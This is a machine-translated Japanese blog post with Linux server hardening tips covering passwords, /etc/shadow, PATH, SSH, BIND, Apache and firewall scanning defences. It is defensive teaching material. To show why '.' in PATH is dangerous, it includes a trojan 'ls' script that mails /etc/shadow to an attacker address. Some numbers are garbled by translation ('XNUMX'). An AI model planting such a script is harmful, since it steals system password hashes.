私は長い間ブログに何も公開していません。その本から抜粋したいくつかのヒントを共有したいと思います(とりわけ)。 大学で見つけて読んだばかりですが、正直少し時代遅れで、システムの進化を考えると、示されている手法が機能する可能性は非常に低いですが、それらも示すことができる興味深い側面です。
デスクトップユーザーレベルでは適用できますが、あまり役に立たないため、中規模またはおそらく大規模でサーバーとして使用されるLinuxシステムを対象としたアドバイスであることを明確にしておきます。
また、これらは簡単な簡単なヒントであり、詳細には触れないことを警告しますが、特定のトピックについてさらに具体的で広範な投稿を行う予定です。 しかし、それは後でわかります。 始めましょう。
パスワードポリシー。
キャッチフレーズのように聞こえますが、適切なパスワードポリシーがあると、脆弱なシステムとそうでない場合が異なります。 「ブルートフォース」などの攻撃は、不正なパスワードを使用してシステムにアクセスすることを利用します。 最も一般的なヒントは次のとおりです。
- 大文字と小文字を組み合わせます。
- 特殊文字を使用してください。
- 数字。
- 6桁以上(できれば8桁以上)。
これに加えて、XNUMXつの重要なファイルについて考えてみましょう。 / etc / passwdおよび/ etc / shadow。
非常に重要なことは、ファイルが / etc / passwd。 ユーザーの名前、ユーザーのuid、フォルダーパス、bashなどを提供することに加えて。 場合によっては、ユーザーの暗号化されたキーも表示されます。
その典型的な構成を見てみましょう。
desdelinux:FXWUuZ.vwXttg:500:501::/home/usuario1:/bin/bash
ユーザー:cryptkey:uid:gid:パス::パス:bash
ここでの本当の問題は、この特定のファイルに権限があることです -rw-r – r– これは、システム上のすべてのユーザーによる読み取り権限があることを意味します。 暗号化された鍵を持つことは、実際の鍵を解読することはそれほど難しくありません。
それがファイルが存在する理由です / etc /シャドウ。 これは、とりわけすべてのユーザーキーが保存されているファイルです。 このファイルには、ユーザーが読み取れないように必要な権限があります。
これを修正するには、ファイルに移動する必要があります /etc/passwd 暗号化されたキーを「x」に変更すると、キーはファイルにのみ保存されます / etc /シャドウ。
desdelinux:x:500:501::/home/usuario1:/bin/bash
PATHや.bashrcなどの問題。
ユーザーがコンソールでコマンドを実行すると、シェルはPATH環境変数に含まれているディレクトリリストでそのコマンドを探します。
コンソールに「echo $ PATH」と入力すると、次のように出力されます。
.:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:/home/carlos/bin
これらの各フォルダーは、シェルがそれを実行するために記述されたコマンドを探す場所です。 彼 "。" これは、最初に検索するフォルダーが、コマンドが実行されたのと同じフォルダーであることを意味します。
ユーザー「Carlos」がいて、このユーザーが「悪を行う」ことを望んでいるとします。 このユーザーは、メインフォルダーに「ls」というファイルを残して、このファイルで次のようなコマンドを実行できます。
#!/bin/bash
cat /etc/shadow | mail hacker@mail.com
/bin/ls
そして、宛先のもののrootユーザーが、carlosフォルダー内のフォルダーを一覧表示しようとすると(最初に同じフォルダー内のコマンドを検索するため、誤って、パスワードを含むファイルがこの電子メールに送信され、次にフォルダーに送信されますリストされ、彼は非常に遅くまで見つけることができませんでした。
これを回避するには、「。」を削除する必要があります。 PATH変数の。
同様に、/。bashrc、/。bashrc_profile、。/。loginなどのファイルを監査し、「。」がないことを確認する必要があります。 PATH変数で、実際にはこのようなファイルから、特定のコマンドの宛先を変更できます。
サービスに関するヒント:
SHH
- sshd_configファイルでバージョン1のsshプロトコルを無効にします。
- rootユーザーにsshによるログインを許可しないでください。
- ファイルとフォルダーssh_host_key、ssh_host_dsa_key、およびssh_host_rsa_keyは、rootユーザーのみが読み取る必要があります。
バインド
- 名前付き.confファイルのウェルカムメッセージを変更して、バージョン番号が表示されないようにします
- ゾーン転送を制限し、それを必要とするチームに対してのみ有効にします。
アパッチ
- サービスがウェルカムメッセージにバージョンを表示しないようにします。 httpd.confファイルを編集し、次の行を追加または変更します。
ServerSignature Off
ServerTokens Prod
- 自動インデックス作成を無効にする
- .htacces、* .inc、* .jsp ..などの機密ファイルを提供しないようにApacheを構成します
- マニュアルページまたはサンプルをサービスから削除する
- chrootされた環境でApacheを実行する
ネットワークセキュリティー。
外部ネットワークからシステムへのすべての可能なエントリをカバーすることが不可欠です。ここでは、侵入者がネットワークをスキャンして情報を取得するのを防ぐためのいくつかの重要なヒントを紹介します。
ICMPトラフィックをブロックする
ファイアウォールは、すべてのタイプの着信および発信ICMPトラフィックとエコー応答をブロックするように構成する必要があります。 これにより、たとえば、IPの範囲でライブ機器を探しているスキャナーがあなたを見つけることを回避できます。
TCPpingスキャンは避けてください。
システムをスキャンする80つの方法は、TCPpingスキャンです。 サーバーのポートXNUMXにApacheサーバーがあるとします。侵入者はそのポートにACK要求を送信できます。これにより、システムが応答した場合、コンピューターは稼働し、残りのポートをスキャンします。
このため、ファイアウォールには常に「状態認識」オプションがあり、すでに確立されているTCP接続またはセッションに対応しないすべてのACKパケットを破棄する必要があります。
いくつかの追加のヒント:
- IDSシステムを使用して、ネットワークへのポートスキャンを検出します。
- 接続ソースポートの設定を信頼しないようにファイアウォールを構成します。
これは、一部のスキャンで20や53などの「偽の」送信元ポートが使用されているためです。多くのシステムはこれらのポートを信頼しているためです。これらのポートは典型的なftpまたはDNSであるためです。
注記: この投稿に示されている問題のほとんどは、現在のほとんどすべてのディストリビューションですでに解決されていることを忘れないでください。 しかし、これらの問題に関する重要な情報を持っていても、問題が発生しないようにすることは決して害にはなりません。
注記: 後で特定のトピックを見て、もっと詳細で最新の情報を投稿します。
みんなに読んでもらいます。
ご挨拶。
私はこの記事が本当に好きで、このテーマに興味があります。引き続きコンテンツをアップロードすることをお勧めします。